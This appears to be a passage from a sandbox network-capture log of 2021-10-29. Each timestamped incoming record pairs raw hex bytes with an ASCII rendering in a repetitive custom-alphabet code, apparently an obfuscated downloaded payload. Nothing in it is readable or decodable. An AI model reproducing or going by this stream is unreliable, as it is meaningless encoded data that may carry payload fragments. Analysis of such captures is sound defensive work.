74 78 20 4f 4f 6b 20 59 78 20 6f 78 4b 20 4f 20 74 6f 20 4f 4f 78 20 4f 4f 52 20 4f 4f 74 20 6f 59 6f 20 6b 78 20 6b 51 20 6f 6b 20 52 78 20 59 4b 20 4f 74 74 20 4f 78 51 20 4f 74 78 20 74 78 20 4f Data Ascii: QE OOQ OOk Yx Ex YK OEx tk OOR OOt tt OOR OEK Ko oQ YK oOY tx OOt OxQ OOk Yx oYO oQ QE Oox OOR OOt tQ ko kQ ok Yo YK OEK OOE Ex RY OOk Yx OKx Yo QE Oox OOR OOt oo kY OKQ Y Rx YK ooK Rt Otx tx OOk Yx oxK O to OOx OOR OOt oYo kx kQ ok Rx YK Ott OxQ Otx tx O
2021-10-29 18:10:59 UTC	1784	IN	Data Raw: 20 4f 4f 6f 20 51 59 20 6f 20 59 78 20 59 4b 20 4f 78 4b 20 4f 4f 4b 20 4f 6f 4b 20 4f 78 51 20 6f 45 20 59 78 20 4b 51 20 59 4f 20 59 4b 20 6b 4b 20 4f 52 45 20 74 45 20 4f 78 51 20 4f 4f 6f 20 51 59 20 4b 6b 20 59 51 20 59 4b 20 6f 4f 45 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 51 52 20 59 78 20 4f 74 52 20 4f 74 20 59 4b 20 6b 4b 20 51 4f 20 4f 4f 74 20 4f 78 78 20 4f 4f 6f 20 4f 6b 45 20 4b 6b 20 4f 74 51 20 59 59 20 52 6b 20 4f 4f 4b 20 74 6b 20 4b 52 20 4f 4f 6f 20 59 78 20 6f 59 20 59 78 20 52 4f 20 6b 4b 20 6f 4b 51 20 4f 4f 74 20 6f 45 52 20 4f 4f 45 20 45 4b 20 4b 6b 20 4f 52 6f 20 74 20 6b 4b 20 4f 4f 4b 20 51 6f 20 4f 78 51 20 4f 6f 45 20 59 78 20 4f 6b 6b 20 59 78 20 4f 6b 45 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 52 78 20 6b 6b 20 59 78 20 4b 6b Data Ascii: OOo QY o Yx YK OxK OOK OoK OxQ oE Yx KQ YO YK kK ORE tE OxQ OOo QY Kk YQ YK oOE OOK oKK OxQ QR Yx OtR Ot YK kK QO OOt Oxx OOo OkE Kk OtQ YY Rk OOK tk KR OOo Yx oY Yx RO kK oKQ OOt oER OOE EK Kk ORo t kK OOK Qo OxQ OoE Yx Okk Yx OkE kY Qk OOt ORx kk Yx Kk
2021-10-29 18:10:59 UTC	1788	IN	Data Raw: 59 78 20 4f 4f 4f 20 6b 59 20 6b 52 20 4f 4f 52 20 74 6f 20 4f 4f 4b 20 45 45 20 4b 51 20 59 78 20 59 4b 20 4f 78 20 4f 6f 45 20 4f 4f 74 20 4f 78 51 20 4b 4f 20 59 4f 20 6f 78 20 59 4f 20 4f 51 20 6b 52 20 51 74 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 74 4f 20 52 45 20 59 78 20 59 4b 20 4f 45 20 4f 4f 59 20 6b 4f 20 4f 78 6b 20 6b 59 20 4b 6b 20 45 59 20 59 4f 20 59 4b 20 6b 4b 20 6f 4b 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 78 74 20 4b 51 20 6f 6f 20 59 59 20 4f 4f 45 20 4f 4f 6f 20 4f 78 6f 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 45 20 59 59 20 59 4b 20 6b 4b 20 4b 45 20 4f 4f 52 20 74 45 20 4f 4f 45 20 6f 45 20 59 78 20 45 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6f 45 4f 20 51 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20 59 4f 20 4f 6b 20 6b 59 20 6b 74 20 Data Ascii: Yx OOO kY kR OOR to OOK EE KQ Yx YK Ox OoE OOt OxQ KO YO ox YO OQ kR Qt OOR OxQ OOo tO RE Yx YK OE OOY kO Oxk kY Kk EY YO YK kK oKR OOt OxQ OOo Oxt KQ oo YY OOE OOo Oxo Oxk OOo Yx YE YY YK kK KE OOR tE OOE oE Yx EE YY kK OOK oEO Qk OOo Yx OxY YO Ok kY kt
2021-10-29 18:10:59 UTC	1792	IN	Data Raw: 51 20 45 6f 20 59 4f 20 59 4b 20 4f 6b 6b 20 4f 78 59 20 6f 4f 4f 20 4f 78 51 20 4f 4f 45 20 59 78 20 45 59 20 4b 52 20 4f 4b 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 6b 45 20 4f 78 6b 20 59 6f 20 45 45 20 59 4f 20 59 4b 20 45 52 20 4f 4f 4f 20 4f 78 20 4f 6f 4b 20 4f 4f 45 20 59 78 20 4f 6b 52 20 4b 74 20 4f 4b 4b 20 6b 4b 20 52 59 20 4f 4f 52 20 6f 6f 6f 20 4f 6f 52 20 4f 6b 6f 20 45 45 20 4f 20 59 59 20 4f 6f 20 51 6b 20 6f 59 6f 20 4f 6f 4b 20 52 74 20 59 4f 20 52 4b 20 45 6b 20 4f 74 6b 20 52 51 20 52 59 20 4f 4f 52 20 4f 4f 78 20 4f 4f 51 20 4f 6b 6b 20 45 45 20 4f 20 59 59 20 4f 74 4b 20 4f 6f 74 20 6f 45 78 20 4f 6f 4b 20 52 74 20 59 4f 20 4f 51 52 20 59 52 20 4f 74 4b 20 52 51 20 52 59 20 4f 4f 52 20 6f 45 4f 20 4f 6f 52 20 4f 74 59 20 45 45 20 4f Data Ascii: Q Eo YO YK Okk OxY oOO OxQ OOE Yx EY KR OKK kK OOY OOt kE Oxk Yo EE YO YK ER OOO Ox OoK OOE Yx OkR Kt OKK kK RY OOR ooo OoR Oko EE O YY Oo Qk oYo OoK Rt YO RK Ek Otk RQ RY OOR OOx OOQ Okk EE O YY OtK Oot oEx OoK Rt YO OQR YR OtK RQ RY OOR oEO OoR OtY EE O
2021-10-29 18:10:59 UTC	1796	IN	Data Raw: 59 20 4f 4f 74 20 4f 59 20 74 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 74 6b 20 4f 4f 59 20 4f 74 74 20 74 6b 20 4f 4f 45 20 59 78 20 52 20 59 78 20 6b 6f 20 4f 78 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20 4f 51 74 20 51 20 4f 6b 78 20 51 74 20 52 74 20 4f 78 51 20 4f 51 6f 20 4f 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 6f 74 20 4f 4f 74 20 4f 59 4b 20 74 51 20 6f 4f 45 20 45 59 20 4f 78 20 59 4b 20 4f 6f 20 74 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 74 74 20 59 78 20 6b 74 20 4f 78 59 20 4f 45 78 20 4f 78 6f 20 6b 74 20 4f 4f 6f 20 4f 4b 20 4f 4f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 4b 20 4f 78 51 20 6f 6f 6f 20 6f 4f 20 6f 78 74 20 45 45 20 51 20 6b 4b 20 4f 4b 20 74 6b 20 4f 78 51 20 4f Data Ascii: Y OOt OY tE Yx Kk Yx YK Otk OOY Ott tk OOE Yx R Yx ko OxQ OOK OOt OxQ OOo ORK Kk OQt Q Okx Qt Rt OxQ OQo OO Kk Yx YK kK oot OOt OYK tQ oOE EY Ox YK Oo to OOt OxQ OOo Yx Ott Yx kt OxY OEx Oxo kt OOo OK OO Yx YK kK OOK oKK OxQ ooo oO oxt EE Q kK OK tk OxQ O
2021-10-29 18:10:59 UTC	1800	IN	Data Raw: 6b 20 4f 59 6f 20 4f 6f 4f 20 4f 52 6b 20 59 78 20 59 6b 20 4f 78 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 4f 78 45 20 4b 52 20 6f 6f 45 20 45 4b 20 4f 4b 45 20 4f 4f 4b 20 4f 78 59 20 59 45 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4f 6f 51 20 4f 4f 59 20 4f 6f 6b 20 4f 78 78 20 6f 45 52 20 4b 6b 20 6b 20 4f 4f 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 45 78 20 59 78 20 4f 51 20 45 20 6f 4f 51 20 52 4b 20 4f 4b 74 20 4f 4f 74 20 45 45 20 4b 78 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 4f 51 4b 20 4f 4f 4b 20 6f 4b 59 20 4b 4b 20 4f 59 74 20 45 6b 20 6f 4f 6f 20 59 78 20 4f 78 4b 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 52 4b 20 4b 6b 20 4f 4f 78 20 4b 51 20 4f 6b 59 20 4f Data Ascii: k OYo OoO ORk Yx Yk OxR YK kK OOK OOt oYO OOo OxE KR ooE EK OKE OOK OxY YE OOo Yx Kk Yx ORx kK OoQ OOY Ook Oxx oER Kk k OOx kK OOK OOt OxQ oEx Yx OQ E oOQ RK OKt OOt EE Kx Yx Kk Yx YK OQK OOK oKY KK OYt Ek oOo Yx OxK Oo OOK OOt OxQ OOo ORK Kk OOx KQ OkY O
2021-10-29 18:10:59 UTC	1804	IN	Data Raw: 4b 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 52 52 20 59 78 20 4f 4b 59 20 4f 78 4b 20 4f 6f 4b 20 51 51 20 45 45 20 4f 4f 45 20 59 78 20 4f 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 6f 74 20 4f 78 51 20 4f 74 4b 20 6f 4b 20 45 6b 20 45 52 20 4f 6f 78 20 6b 59 20 6f 4b 4f 20 6f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 52 4b 20 52 6f 20 6f 51 20 4f 78 74 20 4f 78 4b 20 4f 6f 45 20 52 45 20 59 4f 20 4f 6f 6b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 59 4f 20 4f 4f 6f 20 51 52 20 4b 4f 20 4f 74 20 45 6f 20 6f 74 20 4f 4f 59 20 4f 45 45 20 6f 45 4b 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 52 78 20 6b 4b 20 4b 4f 20 4f 78 6b 20 4f 6b 78 20 4f 6f 59 20 51 6b 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b Data Ascii: Kt OOt OxQ OOo Yx ORR Yx OKY OxK OoK QQ EE OOE Yx OkE Yx YK kK OOK oot OxQ OtK oK Ek ER Oox kY oKO oKo OxQ OOo Yx Kk ORK Ro oQ Oxt OxK OoE RE YO Ook OkO YK kK OOK OOt oYO OOo QR KO Ot Eo ot OOY OEE oEK OOo Yx Kk Yx ORx kK KO Oxk Okx OoY Qk KQ Yx YK kK OOK
2021-10-29 18:10:59 UTC	1808	IN	Data Raw: 20 6f 6f 52 20 59 6f 20 6f 59 59 20 6b 4b 20 6f 4b 51 20 4f 4f 52 20 4f 74 4b 20 6f 78 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 74 59 20 4f 78 74 20 51 52 20 59 78 20 4f 6b 74 20 59 4f 20 6f 59 78 20 6f 4b 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 4f 45 59 20 52 6f 20 6f 6f 51 20 4f 78 78 20 6f 4b 51 20 4f 78 6b 20 4f 52 4b 20 4f 4b 74 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 6f 78 6b 20 4f 6f 78 20 4f 45 74 20 45 6b 20 4f 51 78 20 59 59 20 4f 45 74 20 6f 4f 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 78 20 51 59 20 4f 6b 78 20 51 51 20 6f 6f 4b 20 4f 4f 45 20 6f 4f 59 20 4f 4b 59 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f Data Ascii: ooR Yo oYY kK oKQ OOR OtK oxQ Yx Kk Yx YK oOx Ooo OtY Oxt QR Yx Okt YO oYx oKY OOK OOt OxQ OOo Okx YR OEY Ro ooQ Oxx oKQ Oxk ORK OKt Kk Yx YK kK oKK OoY oxk Oox OEt Ek OQx YY OEt oOO OOt OxQ OOo Yx Oko Yk Ox QY Okx QQ ooK OOE oOY OKY Yx YK kK OOK oKE OxO
2021-10-29 18:10:59 UTC	1812	IN	Data Raw: 6b 20 4f 78 4f 20 45 59 20 4f 6f 74 20 6b 4f 20 6f 4f 74 20 4f 4f 52 20 6f 6f 4f 20 6f 4f 45 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 6f 6f 20 4f 6b 6b 20 4f 6f 4b 20 4f 78 74 20 59 78 20 4f 59 52 20 59 4f 20 4f 4b 6f 20 6f 4b 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 6b 78 20 59 52 20 6f 6f 74 20 45 51 20 6f 51 20 4f 4f 51 20 6f 4f 74 20 4f 78 6b 20 4f 74 74 20 4f 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 6f 4b 4b 20 4f 6f 59 20 4f 4f 59 20 4f 4f 6f 20 4f 74 45 20 45 74 20 4f 59 51 20 59 59 20 4f 59 74 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 74 20 6b 4b 20 6f 4f 45 20 51 52 20 4f 51 6f 20 4f 4f 45 20 6f 6f 4b 20 4f 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 Data Ascii: k OxO EY Oot kO oOt OOR ooO oOE Yx Kk Yx YK oOx Ooo Okk OoK Oxt Yx OYR YO OKo oKO OOK OOt OxQ OOo Okx YR oot EQ oQ OOQ oOt Oxk Ott OYO Kk Yx YK kK oKK OoY OOY OOo OtE Et OYQ YY OYt oOY OOt OxQ OOo Yx Oko Yk Ot kK oOE QR OQo OOE ooK OKQ Yx YK kK OOK oKE Ox
2021-10-29 18:10:59 UTC	1816	IN	Data Raw: 4f 6f 59 20 6f 4f 52 20 4f 6f 78 20 6f 59 4f 20 4b 6b 20 6f 6f 59 20 59 59 20 74 6b 20 6f 4f 51 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 6f 20 59 6b 20 4f 45 51 20 51 6f 20 51 6b 20 4f 4f 74 20 4f 51 78 20 4f 4f 45 20 4f 74 20 4f 59 45 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 6f 4b 45 20 4f 78 4f 20 74 52 20 59 74 20 6f 4b 51 20 59 78 20 6f 6f 52 20 6b 59 20 6b 51 20 6f 6f 78 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 78 20 52 6f 20 4f 52 20 4f 6f 4f 20 4f 78 4f 20 4f 78 51 20 4f 52 4b 20 59 4f 20 4b 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 6f 45 59 20 4f 6f 78 20 6f 45 59 20 52 78 20 6f 59 4f 20 59 4b 20 4f 6f 51 20 4f 4f 59 20 74 45 20 4f 51 52 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52 20 51 6f 20 4f 4b 74 Data Ascii: OoY oOR Oox oYO Kk ooY YY tk oOQ OOt OxQ OOo Yx Oko Yk OEQ Qo Qk OOt OQx OOE Ot OYE Yx YK kK OOK oKE OxO tR Yt oKQ Yx ooR kY kQ oox OxQ OOo Yx Kk Okx Ro OR OoO OxO OxQ ORK YO K OYY YK kK OOK OOt oEY Oox oEY Rx oYO YK OoQ OOY tE OQR OOo Yx Kk Yx OtR Qo OKt
2021-10-29 18:10:59 UTC	1820	IN	Data Raw: 20 59 78 20 4f 6b 4f 20 6b 4b 20 4f 6f 45 20 4f 4f 51 20 4f 51 59 20 4f 78 4b 20 4f 78 6b 20 59 78 20 74 59 20 4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 6f 4b 45 20 59 78 20 51 6b 20 4b 6b 20 6f 6f 4f 20 52 74 20 4b 59 20 4f 4f 51 20 6f 45 52 20 6f 4f 51 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6f 4f 78 20 4f 78 52 20 6f 59 4f 20 6b 51 20 4f 4f 74 20 59 78 20 6b 78 20 4b 6b 20 4f 59 78 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 4f 4f 20 4b 51 20 4f 45 4f 20 6f 4f 20 6b 59 20 4f 4f 4b 20 6f 78 20 4f 4f 4f 20 6f 4f 6f 20 4f 59 45 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4b 74 20 4f 4f 52 20 4f 52 4f 20 4b 6b 20 4b 4f 20 4b 6b 20 6b 45 20 59 6f 20 4b 20 6f 6f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 78 51 20 Data Ascii: Yx OkO kK OoE OOQ OQY OxK Oxk Yx tY OYt kK OOK OOt OxQ oKE Yx Qk Kk ooO Rt KY OOQ oER oOQ Yx Kk Yx YK oOx OxR oYO kQ OOt Yx kx Kk OYx oYY OOK OOt OxQ OOo oOO KQ OEO oO kY OOK ox OOO oOo OYE Kk Yx YK kK OKt OOR ORO Kk KO Kk kE Yo K ooE OOt OxQ OOo Yx oxQ
2021-10-29 18:10:59 UTC	1824	IN	Data Raw: 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 20 4f 78 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 74 6f 20 74 6b 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 52 4f 20 51 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 59 51 Data Ascii: OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ Ox YK kK OOE OOt to tk Yx Kk YO YK RO QE OOt OxQ OOK Yx OYQ
2021-10-29 18:10:59 UTC	1828	IN	Data Raw: 20 4f 4f 6b 20 4f 4f 74 20 52 6b 20 74 4f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 59 6f 20 51 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 59 6f 20 6f 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 51 74 20 6b 51 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 6b 74 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 4f 51 20 6b 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 52 78 20 6b 51 20 59 78 20 4b 6b 20 4b 6b 20 59 4b 20 6f 6f 78 20 51 4f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4f 4f 51 20 6f 4f 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4b 6f 20 Data Ascii: OOk OOt Rk tO Yx Kk YO YK oYo QO OOt OxQ OOE Yx OYo ot YK kK OOY OOt OQt kQ Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko kt Yx Kk YO YK OQ kY OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Rx kQ Yx Kk Kk YK oox QO OOt OxQ OOE Yx OOQ oO YK kK OOY OOt Ko
2021-10-29 18:10:59 UTC	1832	IN	Data Raw: 74 20 4f 78 51 20 4f 4f 74 20 59 78 20 4f 45 20 4f 59 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 4f 74 20 51 6f 20 74 74 20 59 78 20 4b 6b 20 59 45 20 59 4b 20 6f 4b 6b 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f 6f 78 20 59 78 20 4f 4b 6b 20 4f 4f 4b 20 59 4b 20 6b 4b 20 4f 6f 45 20 4f 4f 74 20 6f 4b 4b 20 74 6f 20 59 78 20 4b 6b 20 59 4f 20 59 4b 20 6f 4f 45 20 51 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 51 20 4f 4f 6f 20 59 4b 20 4f 4f 52 20 4f 4f 45 20 4f 4f 74 20 6f 78 45 20 6b 6f 20 4b 6b 20 4b 6b 20 59 4b 20 59 4b 20 51 6b 20 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 74 20 59 78 20 4f 45 20 4f 59 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 4f 74 20 51 6f 20 74 74 20 59 78 20 4b 6b 20 59 45 20 59 4b 20 6f 4b 6b 20 59 78 20 4f 4f 74 20 4f 78 51 20 4f 6f 78 Data Ascii: t OxQ OOt Yx OE OY YK kK OOR OOt Qo tt Yx Kk YE YK oKk Yx OOt OxQ Oox Yx OKk OOK YK kK OoE OOt oKK to Yx Kk YO YK oOE QK OOt OxQ OOK Yx OOQ OOo YK OOR OOE OOt oxE ko Kk Kk YK YK Qk Kk OOt OxQ OOt Yx OE OY YK kK OOR OOt Qo tt Yx Kk YE YK oKk Yx OOt OxQ Oox
2021-10-29 18:10:59 UTC	1836	IN	Data Raw: 4f 51 20 51 6f 20 6f 59 20 4f 4f 52 20 4f 4b 74 20 59 4f 20 59 59 20 45 4f 20 45 6f 20 4f 4f 6b 20 4f 6b 59 20 4f 78 51 20 6f 45 74 20 4f 45 20 4f 74 6b 20 59 4b 20 6f 78 74 20 6b 4b 20 6f 59 6f 20 52 59 20 4f 78 6b 20 4f 4f 6f 20 6f 4b 45 20 59 78 20 4f 45 45 20 45 4f 20 6f 4f 4b 20 4f 4f 6b 20 4f 4f 52 20 4f 4f 78 20 74 45 20 45 20 4f 6b 6b 20 59 4b 20 6f 78 74 20 6b 4b 20 4f 52 6f 20 4f 78 4b 20 6f 59 6f 20 4f 4f 52 20 51 51 20 4b 6b 20 59 59 20 45 4f 20 4f 59 74 20 4f 4f 4b 20 4f 51 52 20 4f 4f 78 20 6f 59 4b 20 52 20 45 6f 20 59 78 20 4f 4b 45 20 6b 74 20 45 6b 20 4b 51 20 6f 78 74 20 4f 4f 52 20 6f 59 4f 20 59 4f 20 4f 6b 6b 20 6f 20 6f 59 45 20 4f 4f 6b 20 4f 52 4f 20 4f 78 51 20 6f 59 4b 20 52 20 6f 4b 78 20 59 4b 20 6f 45 51 20 6b 74 20 45 51 20 Data Ascii: OQ Qo oY OOR OKt YO YY EO Eo OOk OkY OxQ oEt OE Otk YK oxt kK oYo RY Oxk OOo oKE Yx OEE EO oOK OOk OOR OOx tE E Okk YK oxt kK ORo OxK oYo OOR QQ Kk YY EO OYt OOK OQR OOx oYK R Eo Yx OKE kt Ek KQ oxt OOR oYO YO Okk o oYE OOk ORO OxQ oYK R oKx YK oEQ kt EQ
2021-10-29 18:10:59 UTC	1840	IN	Data Raw: 20 6f 6f 6f 20 4b 51 20 4f 6b 6b 20 6f 20 45 6f 20 4f 4f 4b 20 6f 78 4b 20 4f 4f 4f 20 59 4b 20 4f 4f 4b 20 59 52 20 52 45 20 4f 4f 51 20 6b 52 20 6f 4b 59 20 52 74 20 4f 6f 78 20 4f 6f 59 20 4f 51 20 59 45 20 4f 59 4b 20 4f 20 74 51 20 4f 6f 74 20 51 6f 20 4f 78 4b 20 6f 4b 78 20 52 20 4f 74 20 52 45 20 4f 51 4b 20 6b 59 20 4b 20 74 4b 20 74 4b 20 4f 4f 6f 20 45 20 59 45 20 6f 45 20 4f 78 20 4f 78 45 20 4f 6f 74 20 51 6f 20 4f 4f 4f 20 4f 74 59 20 4f 4f 6f 20 51 20 52 45 20 45 4f 20 6b 52 20 4f 52 4f 20 51 59 20 6b 6f 20 4f 6f 59 20 4f 4f 59 20 59 45 20 51 52 20 4f 6b 20 4b 20 4f 6f 74 20 59 6f 20 4f 78 4b 20 52 78 20 4f 4f 4b 20 59 45 20 59 78 20 4f 4f 51 20 6b 4f 20 6f 45 74 20 6b 52 20 59 6b 20 4f 6f 59 20 4f 6f 45 20 59 45 20 6f 4f 20 6f 52 20 51 20 Data Ascii: ooo KQ Okk o Eo OOK oxK OOO YK OOK YR RE OOQ kR oKY Rt Oox OoY OQ YE OYK O tQ Oot Qo OxK oKx R Ot RE OQK kY K tK tK OOo E YE oE Ox OxE Oot Qo OOO OtY OOo Q RE EO kR ORO QY ko OoY OOY YE QR Ok K Oot Yo OxK Rx OOK YE Yx OOQ kO oEt kR Yk OoY OoE YE oO oR Q
2021-10-29 18:10:59 UTC	1844	IN	Data Raw: 78 20 4f 59 4f 20 6b 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4b 59 20 59 4b 20 4f 4b 59 20 59 4b 20 4f 59 6f 20 4f 4f 4f 20 6f 6f 78 20 4f 78 74 20 4f 51 59 20 59 78 20 4f 4f 78 20 4b 78 20 6f 4b 74 20 6b 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 59 4f 20 59 4b 20 4f 6f 51 20 59 4b 20 59 6b 20 4f 78 4b 20 4f 4b 6b 20 4f 78 74 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 6f 45 20 6b 6f 20 4f 51 45 20 4f 4f 74 20 4f 51 20 4f 78 52 20 59 4f 20 59 59 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6f 4b 20 4f 78 52 20 4f 51 59 20 59 78 20 4f 51 78 20 4b 78 20 6f 45 20 6b 45 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 74 20 59 59 20 4f 6f 51 20 59 4b 20 6f 78 6f 20 4f 78 4b 20 59 6f 20 4f 78 52 20 59 4f 20 59 78 20 4f 51 6b Data Ascii: x OYO ko KQ OOt OYY Oot OKY YK OKY YK OYo OOO oox Oxt OQY Yx OOx Kx oKt ko KQ OOt OYY Oot oYO YK OoQ YK Yk OxK OKk Oxt YO Yx OQk RO ooE ko OQE OOt OQ OxR YO YY OOE YK ORo OoY OoK OxR OQY Yx OQx Kx oE kE KQ OOt OYY Oot ot YY OoQ YK oxo OxK Yo OxR YO Yx OQk
2021-10-29 18:10:59 UTC	1848	IN	Data Raw: 4f 74 20 4f 74 74 20 4f 4f 74 20 4f 59 74 20 4f 78 52 20 6f 4b 6f 20 4f 74 20 6f 4b 4f 20 59 4b 20 6b 59 20 4f 78 59 20 4f 4b 51 20 74 52 20 4f 74 51 20 59 78 20 45 4b 20 4b 4f 20 59 4b 20 4f 4f 6b 20 4f 74 74 20 4f 4f 74 20 74 6b 20 4f 78 74 20 4f 6b 20 4f 6b 20 6f 4b 4f 20 59 4b 20 51 52 20 4f 78 59 20 59 45 20 74 51 20 4f 74 51 20 59 78 20 4f 4f 74 20 4b 4f 20 6b 52 20 4f 4f 6b 20 4f 74 74 20 4f 4f 74 20 59 51 20 4f 78 74 20 4f 74 6b 20 4f 6b 20 6f 4b 4f 20 59 4b 20 59 4f 20 4f 78 59 20 6f 4f 45 20 74 51 20 4f 74 51 20 59 78 20 74 6f 20 4b 4f 20 4f 4b 52 20 4f 4f 6b 20 45 45 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4b 6f 20 4f 6b 20 6f 4b 4f 20 59 4b 20 6f 6f 4f 20 4f 78 59 20 4f 4b 51 20 74 51 20 4f 74 51 20 59 78 20 4f 74 78 20 4b 4f 20 59 4b 20 4f Data Ascii: Ot Ott OOt OYt OxR oKo Ot oKO YK kY OxY OKQ tR OtQ Yx EK KO YK OOk Ott OOt tk Oxt Ok Ok oKO YK QR OxY YE tQ OtQ Yx OOt KO kR OOk Ott OOt YQ Oxt Otk Ok oKO YK YO OxY oOE tQ OtQ Yx to KO OKR OOk EE OOt OYY Oot oKo Ok oKO YK ooO OxY OKQ tQ OtQ Yx Otx KO YK O
